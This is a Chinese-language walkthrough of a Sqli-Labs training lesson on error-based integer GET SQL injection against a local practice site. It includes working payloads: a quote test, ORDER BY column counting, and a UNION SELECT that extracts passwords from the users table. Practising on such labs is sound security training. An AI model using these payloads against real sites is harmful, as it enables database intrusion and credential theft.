Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。
项目地址:https://github.com/Audi-1/sqli-labs
Lesson-1 #Get - Error based - Intiger based (基于错误的GET整数注入)
运行测试环境:http://localhost/sqli-labs-master/Less-2/
输入ID参数1:http://localhost/sqli-labs-master/Less-2/?id=1,返回正常,继续测试陆续输入2,3,4,5,6....,均返回正常,而且随着参数ID值的改变,页面返回的name和Password的值也会出现不同
根据上面情况,推测出数据库操作指令:
【SELECT name,Password FROM TABLE WHERE ID=INPUT_ID】
我输入单引号进行测试:
【http://localhost/sqli-labs-master/Less-2/?id=%27test】
网站报出错误信息:
【You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test LIMIT 0,1' at line 1】
根据报错信息可以推测出更加详细的SQL语句:
由错误提示【' 'test LIMIT 0,1 '】推测的SQL语句不存在单引号
【SELECT name,Password FROM TABLE WHERE ID=$ID】
发现报了SQL语句的语法错误,应该存在SQL注入,我们直接来构造payload:
利用order by测试数据库中的列数:
【http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+】
发现当3的时候不报错,4的时候报错,知道数据库表中有三个字段
So,看一下源代码:
因为完全不用闭合‘或者注释后面的’,但因为这里只是从结果集获取1行数据,要获取全部数据还是要注释后面的,自己加个limit子句
【http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,concat_ws(char(32,58,32),id,database(),password)%20from%20users%20limit%200,1%20%23】
最后用注入神器SQLMAP来验证一下,结果如下:
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。